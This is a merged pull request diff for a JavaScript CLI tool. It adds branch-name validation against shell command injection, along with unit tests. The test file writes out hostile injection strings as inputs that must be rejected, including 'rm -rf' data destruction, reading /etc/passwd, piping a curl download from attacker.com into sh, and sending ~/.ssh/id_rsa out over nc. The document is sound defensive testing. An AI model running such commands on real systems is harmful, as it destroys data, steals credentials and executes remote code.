Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions fuzz/target.js
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ const {main} = require('../mr')

const rp_valid = [
"usage:",
"Invalid branch name",
]

const fuzz = async function (buf) {
Expand Down
31 changes: 31 additions & 0 deletions lib/ParsedArgs.js
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,33 @@ module.exports = class {
this.argv = argv
}

validateBranchName(name) {
if (!name || typeof name !== 'string') {
throw new Error('Branch name must be a non-empty string')
}

for (let i = 0; i < name.length; i++) {
const char = name[i]
const isValid = (char >= 'a' && char <= 'z') ||
(char >= 'A' && char <= 'Z') ||
(char >= '0' && char <= '9') ||
char === '.' || char === '_' || char === '-' || char === '/'
if (!isValid) {
throw new Error(`Invalid branch name '${name}': contains forbidden characters`)
}
}

if (name[0] === '/' || name[name.length - 1] === '/' || name[0] === '.') {
throw new Error(`Invalid branch name '${name}': violates git ref format rules`)
}

if (name.includes('//') || name.includes('..') || name.endsWith('.lock')) {
throw new Error(`Invalid branch name '${name}': violates git ref format rules`)
}

return name
}

value() {
if (this.argv.includes('-h') || this.argv.includes('--help')) {
return {action: 'Help'}
Expand All @@ -24,6 +51,7 @@ module.exports = class {
}

if (['to'].includes(branch) && verb && !src_or_dst) {
this.validateBranchName(verb)
return {src: '__CURRENT_BRANCH__', dst: verb, action: 'Merge'}
}

Expand All @@ -42,6 +70,9 @@ module.exports = class {
break;
}

if (dst) this.validateBranchName(dst)
if (src && src !== '__CURRENT_BRANCH__') this.validateBranchName(src)

return {src, action, dst}
}
}
78 changes: 78 additions & 0 deletions tests/ParsedArgs.js
Original file line number Diff line number Diff line change
Expand Up @@ -32,4 +32,82 @@ describe('ParsedArgs', () => {
it ('help with --help flag', async (t) => {
assert.deepStrictEqual(await new ParsedArgs (['--help']).value (), {action: 'Help'})
})
it ('reject semicolon command separator', async (t) => {
assert.throws(() => new ParsedArgs (['test; rm -rf /', 'from', 'main']).value ())
})
it ('reject pipe operator', async (t) => {
assert.throws(() => new ParsedArgs (['test|cat /etc/passwd', 'from', 'main']).value ())
})
it ('reject boolean AND operator', async (t) => {
assert.throws(() => new ParsedArgs (['test&&malicious', 'from', 'main']).value ())
})
it ('reject backtick command substitution', async (t) => {
assert.throws(() => new ParsedArgs (['test`whoami`', 'from', 'main']).value ())
})
it ('reject dollar command substitution', async (t) => {
assert.throws(() => new ParsedArgs (['test$(id)', 'from', 'main']).value ())
})
it ('reject output redirection', async (t) => {
assert.throws(() => new ParsedArgs (['test>output.txt', 'from', 'main']).value ())
})
it ('reject single quotes', async (t) => {
assert.throws(() => new ParsedArgs (["test'malicious'", 'from', 'main']).value ())
})
it ('reject double quotes', async (t) => {
assert.throws(() => new ParsedArgs (['test"malicious"', 'from', 'main']).value ())
})
it ('reject hash comment', async (t) => {
assert.throws(() => new ParsedArgs (['test#comment', 'from', 'main']).value ())
})
it ('reject ampersand background', async (t) => {
assert.throws(() => new ParsedArgs (['test&', 'from', 'main']).value ())
})
it ('reject spaces in branch name', async (t) => {
assert.throws(() => new ParsedArgs (['test malicious', 'from', 'main']).value ())
})
it ('reject file creation attack', async (t) => {
assert.throws(() => new ParsedArgs (['test; touch /tmp/PWNED', 'from', 'main']).value ())
})
it ('reject RCE attack', async (t) => {
assert.throws(() => new ParsedArgs (['branch`curl attacker.com/evil.sh|sh`', 'from', 'main']).value ())
})
it ('reject SSH key exfiltration attack', async (t) => {
assert.throws(() => new ParsedArgs (['task-42; cat ~/.ssh/id_rsa | nc attacker.com 1234 #', 'from', 'main']).value ())
})
it ('reject data destruction attack', async (t) => {
assert.throws(() => new ParsedArgs (['feature; rm -rf ~ #', 'from', 'main']).value ())
})
it ('reject branch starting with slash', async (t) => {
assert.throws(() => new ParsedArgs (['/invalid', 'from', 'main']).value ())
})
it ('reject branch ending with slash', async (t) => {
assert.throws(() => new ParsedArgs (['invalid/', 'from', 'main']).value ())
})
it ('reject branch with double slash', async (t) => {
assert.throws(() => new ParsedArgs (['feature//bug', 'from', 'main']).value ())
})
it ('reject branch with double dot', async (t) => {
assert.throws(() => new ParsedArgs (['feature..bug', 'from', 'main']).value ())
})
it ('reject branch starting with dot', async (t) => {
assert.throws(() => new ParsedArgs (['.hidden', 'from', 'main']).value ())
})
it ('reject branch ending with .lock', async (t) => {
assert.throws(() => new ParsedArgs (['feature.lock', 'from', 'main']).value ())
})
it ('accept branch with dash', async (t) => {
assert.doesNotThrow(() => new ParsedArgs (['feature-123', 'from', 'main']).value ())
})
it ('accept branch with underscore', async (t) => {
assert.doesNotThrow(() => new ParsedArgs (['task_42', 'from', 'main']).value ())
})
it ('accept branch with dots', async (t) => {
assert.doesNotThrow(() => new ParsedArgs (['release.1.0', 'from', 'main']).value ())
})
it ('accept branch with slash', async (t) => {
assert.doesNotThrow(() => new ParsedArgs (['feature/user-auth', 'from', 'main']).value ())
})
it ('accept branch with multiple slashes', async (t) => {
assert.doesNotThrow(() => new ParsedArgs (['team/project/task', 'from', 'main']).value ())
})
})